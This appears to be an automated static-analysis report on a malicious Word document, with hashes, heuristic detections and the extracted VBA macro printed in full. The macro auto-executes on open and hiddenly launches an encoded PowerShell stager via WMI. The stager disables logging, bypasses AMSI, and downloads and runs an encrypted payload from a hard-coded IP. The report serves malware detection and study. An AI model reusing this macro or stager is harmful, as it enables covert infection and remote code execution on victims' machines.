Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f1524abcb9f74bf5…

MALICIOUS

Office (OLE)

40.0 KB Created: 2018-06-26 06:08:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 91b53a48e0f98d449c9a558cc7154760 SHA-1: c6f8a118c1f786d0e77c6df03bc348d9abb7c5e4 SHA-256: f1524abcb9f74bf519be7c04f2ae43c7180bb0fb69f8695b6db734b99d66acb9
406 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains multiple VBA auto-execution macros (AutoOpen, Document_Open, Auto_Open) that trigger a PowerShell command. This command is heavily obfuscated but appears to be designed to interact with system management services (WMI) and potentially download or execute further stages. The presence of PowerShell execution and WMI calls strongly suggests a dropper or downloader functionality.

Heuristics 13

  • ClamAV: Doc.Dropper.Donoff-5743532-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Donoff-5743532-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Dim iaUJdxYz As String
        iaUJdxYz = "powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVg"
        iaUJdxYz = iaUJdxYz + "BFAHIAUwBJAE8AbgBUAGEAYgBMAGUALgBQAFMAVgBFAHIAUwBp"
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
        strComputer = "."
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
        Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        strComputer = "."
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
        Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
        TzRTzZninBSoUMc
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
        TzRTzZninBSoUMc
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub Auto_Open()
        TzRTzZninBSoUMc
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8600 bytes
SHA-256: ee0d6301e5d52352571a2fae92ce385c46578dd31f965ff10bb721d3d340a639
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
    TzRTzZninBSoUMc
End Sub

Sub AutoOpen()
    TzRTzZninBSoUMc
End Sub

Sub Document_Open()
    TzRTzZninBSoUMc
End Sub

Public Function TzRTzZninBSoUMc() As Variant
    Dim iaUJdxYz As String
    iaUJdxYz = "powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVg"
    iaUJdxYz = iaUJdxYz + "BFAHIAUwBJAE8AbgBUAGEAYgBMAGUALgBQAFMAVgBFAHIAUwBp"
    iaUJdxYz = iaUJdxYz + "AE8ATgAuAE0AYQBKAG8AUgAgAC0ARwBFACAAMwApAHsAJABHAF"
    iaUJdxYz = iaUJdxYz + "AARgA9AFsAcgBlAGYAXQAuAEEAcwBzAGUATQBiAGwAWQAuAEcA"
    iaUJdxYz = iaUJdxYz + "ZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
    iaUJdxYz = iaUJdxYz + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBV"
    iaUJdxYz = iaUJdxYz + "AHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkARQBgAEwAZAAiAC"
    iaUJdxYz = iaUJdxYz + "gAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA"
    iaUJdxYz = iaUJdxYz + "UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQ"
    iaUJdxYz = iaUJdxYz + "BiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBGACgAJABH"
    iaUJdxYz = iaUJdxYz + "AFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAdABWAG"
    iaUJdxYz = iaUJdxYz + "EATABVAEUAKAAkAE4AdQBMAEwAKQA7AEkAZgAoACQARwBQAEMA"
    iaUJdxYz = iaUJdxYz + "WwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZw"
    iaUJdxYz = iaUJdxYz + "BnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBw"
    iaUJdxYz = iaUJdxYz + "AHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAF"
    iaUJdxYz = iaUJdxYz + "sAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwA"
    iaUJdxYz = iaUJdxYz + "bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQw"
    iaUJdxYz = iaUJdxYz + "BbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBn"
    iaUJdxYz = iaUJdxYz + "AGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAH"
    iaUJdxYz = iaUJdxYz + "AAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8A"
    iaUJdxYz = iaUJdxYz + "ZwBnAGkAbgBnACcAXQA9ADAAfQAkAFYAYQBMAD0AWwBDAG8ATA"
    iaUJdxYz = iaUJdxYz + "BMAGUAYwB0AEkAbwBuAHMALgBHAGUATgBFAHIAaQBDAC4ARABp"
    iaUJdxYz = iaUJdxYz + "AGMAVABpAE8AbgBhAFIAWQBbAHMAVAByAGkATgBHACwAUwB5AF"
    iaUJdxYz = iaUJdxYz + "MAdABlAE0ALgBPAEIAagBlAEMAVABdAF0AOgA6AG4AZQBXACgA"
    iaUJdxYz = iaUJdxYz + "KQA7ACQAVgBhAGwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUw"
    iaUJdxYz = iaUJdxYz + "BjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBu"
    iaUJdxYz = iaUJdxYz + "AGcAJwAsADAAKQA7ACQAVgBBAEwALgBBAGQAZAAoACcARQBuAG"
    iaUJdxYz = iaUJdxYz + "EAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8A"
    iaUJdxYz = iaUJdxYz + "YwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJA"
    iaUJdxYz = iaUJdxYz + "BHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBD"
    iaUJdxYz = iaUJdxYz + "AEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAG"
    iaUJdxYz = iaUJdxYz + "MAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQA"
    iaUJdxYz = iaUJdxYz + "bwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQ"
    iaUJdxYz = iaUJdxYz + "BwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBd"
    iaUJdxYz = iaUJdxYz + "AD0AJAB2AEEAbAB9AEUATABzAEUAewBbAFMAYwBSAGkAcAB0AE"
    iaUJdxYz = iaUJdxYz + "IATABvAEMASwBdAC4AIgBHAGUAVABGAEkAZQBgAEwAZAAiACgA"
    iaUJdxYz = iaUJdxYz + "JwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbw"
    iaUJdxYz = iaUJdxYz + "BuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBF"
    iaUJdxYz = iaUJdxYz + "AFQAVgBhAEwAdQBlACgAJABOAHUATABMACwAKABOAGUAdwAtAE"
    iaUJdxYz = iaUJdxYz + "8AYgBqAGUAYwBUACAAQwBvAEwATABlAEMAVABJAG8AbgBzAC4A"
    iaUJdxYz = iaUJdxYz + "RwBFAG4AZQBSAEkAYwAuAEgAQQBTAGgAUwBFAFQAWwBTAHQAcg"
    iaUJdxYz = iaUJdxYz + "BJAE4AZwBdACkAKQB9AFsAUgBlAGYAXQAuAEEAcwBzAGUATQBC"
    iaUJdxYz = iaUJdxYz + "AEwAeQAuAEcARQB0AFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC"
    iaUJdxYz = iaUJdxYz + "4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQA"
    iaUJdxYz = iaUJdxYz + "aQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJA"
    iaUJdxYz = iaUJdxYz + "BfAH0AfAAlAHsAJABfAC4ARwBFAHQARgBJAGUATABEACgAJwBh"
    iaUJdxYz = iaUJdxYz + "AG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG"
    iaUJdxYz = iaUJdxYz + "4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUA"
    iaUJdxYz = iaUJdxYz + "dABWAGEAbABVAGUAKAAkAE4AdQBMAGwALAAkAFQAUgB1AEUAKQ"
    iaUJdxYz = iaUJdxYz + "B9ADsAfQA7AFsAUwBZAHMAdABlAE0ALgBOAGUAVAAuAFMARQBS"
    iaUJdxYz = iaUJdxYz + "AFYAaQBDAGUAUABPAGkATgBUAE0AYQBOAGEARwBlAFIAXQA6AD"
    iaUJdxYz = iaUJdxYz + "oARQBYAFAAZQBjAHQAMQAwADAAQwBPAE4AVABJAG4AVQBFAD0A"
    iaUJdxYz = iaUJdxYz + "MAA7ACQAdwBDAD0ATgBlAHcALQBPAGIAagBFAEMAdAAgAFMAeQ"
    iaUJdxYz = iaUJdxYz + "BTAHQARQBNAC4ATgBFAFQALgBXAEUAYgBDAGwASQBFAE4AVAA7"
    iaUJdxYz = iaUJdxYz + "ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAG"
    iaUJdxYz = iaUJdxYz + "kAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYA"
    iaUJdxYz = iaUJdxYz + "NAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOg"
    iaUJdxYz = iaUJdxYz + "AxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAk"
    iaUJdxYz = iaUJdxYz + "AHcAQwAuAEgAZQBBAGQARQBSAHMALgBBAEQAZAAoACcAVQBzAG"
    iaUJdxYz = iaUJdxYz + "UAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAQwAuAFAA"
    iaUJdxYz = iaUJdxYz + "UgBPAFgAeQA9AFsAUwBZAFMAdABFAE0ALgBOAEUAVAAuAFcARQ"
    iaUJdxYz = iaUJdxYz + "BiAFIAZQBxAHUAZQBzAFQAXQA6ADoARABFAEYAQQB1AGwAVABX"
    iaUJdxYz = iaUJdxYz + "AEUAYgBQAFIATwB4AFkAOwAkAFcAQwAuAFAAUgBvAHgAeQAuAE"
    iaUJdxYz = iaUJdxYz + "MAcgBFAGQAZQBOAFQASQBBAGwAcwAgAD0AIABbAFMAeQBTAHQA"
    iaUJdxYz = iaUJdxYz + "ZQBNAC4ATgBlAFQALgBDAFIARQBEAEUATgBUAGkAYQBMAEMAQQ"
    iaUJdxYz = iaUJdxYz + "BjAGgARQBdADoAOgBEAEUAZgBhAFUAbAB0AE4AZQB0AHcATwBy"
    iaUJdxYz = iaUJdxYz + "AEsAQwByAEUARABFAG4AVABJAEEAbABzADsAJABTAGMAcgBpAH"
    iaUJdxYz = iaUJdxYz + "AAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgA"
    iaUJdxYz = iaUJdxYz + "eQA7ACQASwA9AFsAUwB5AHMAVABFAE0ALgBUAEUAWABUAC4ARQ"
    iaUJdxYz = iaUJdxYz + "BOAGMATwBEAEkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQBU"
    iaUJdxYz = iaUJdxYz + "AEIAeQB0AGUAcwAoACcAPQBWAE8AMwB6AFoANQAxACEASABVAE"
    iaUJdxYz = iaUJdxYz + "QAYQBfAGsAPABpAH4AVAB4ACYAKgBtAGwAdQBqAC0AYgAlAFkA"
    iaUJdxYz = iaUJdxYz + "fAB0ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIAZw"
    iaUJdxYz = iaUJdxYz + "BzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8"
    iaUJdxYz = iaUJdxYz + "ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAF"
    iaUJdxYz = iaUJdxYz + "sAJABfACUAJABLAC4AQwBPAHUATgB0AF0AKQAlADIANQA2ADsA"
    iaUJdxYz = iaUJdxYz + "JABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASg"
    iaUJdxYz = iaUJdxYz + "BdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAo"
    iaUJdxYz = iaUJdxYz + "ACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAF"
    iaUJdxYz = iaUJdxYz + "MAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQA"
    iaUJdxYz = iaUJdxYz + "UwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQ"
    iaUJdxYz = iaUJdxYz + "A7ACQAXwAtAEIAWABPAHIAJABTAFsAKAAkAFMAWwAkAEkAXQAr"
    iaUJdxYz = iaUJdxYz + "ACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAH"
    iaUJdxYz = iaUJdxYz + "IAPQAnAGgAdAB0AHAAOgAvAC8AMwA1AC4AMQA2ADAALgAxADAA"
    iaUJdxYz = iaUJdxYz + "NQAuADcAMgA6ADgAMAAnADsAJAB0AD0AJwAvAGwAbwBnAGkAbg"
    iaUJdxYz = iaUJdxYz + "AvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJAB3AGMALgBI"
    iaUJdxYz = iaUJdxYz + "AEUAYQBEAGUAcgBTAC4AQQBEAEQAKAAiAEMAbwBvAGsAaQBlAC"
    iaUJdxYz = iaUJdxYz + "IALAAiAHMAZQBzAHMAaQBvAG4APQBCAG0ARQBkAEgAZgBlAG0A"
    iaUJdxYz = iaUJdxYz + "VQA1AGgANABkAFgAKwBWAGkAUwBwAGQAZABsADEAdgAyAHMAaw"
    iaUJdxYz = iaUJdxYz + "A9ACIAKQA7ACQARABBAHQAYQA9ACQAVwBDAC4ARABPAHcAbgBM"
    iaUJdxYz = iaUJdxYz + "AE8AYQBkAEQAQQBUAEEAKAAkAFMAZQBSACsAJAB0ACkAOwAkAE"
    iaUJdxYz = iaUJdxYz + "kAdgA9ACQAZABBAHQAQQBbADAALgAuADMAXQA7ACQAZABhAFQA"
    iaUJdxYz = iaUJdxYz + "QQA9ACQARABBAFQAQQBbADQALgAuACQARABhAHQAYQAuAEwAZQ"
    iaUJdxYz = iaUJdxYz + "BuAGcAVABIAF0AOwAtAEoATwBJAG4AWwBDAGgAQQByAFsAXQBd"
    iaUJdxYz = iaUJdxYz + "ACgAJgAgACQAUgAgACQAZABhAFQAQQAgACgAJABJAFYAKwAkAE"
    iaUJdxYz = iaUJdxYz + "sAKQApAHwASQBFAFgA"
    Const HIDDEN_WINDOW = 0
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    objProcess.Create iaUJdxYz, Null, objConfig, intProcessID
End Function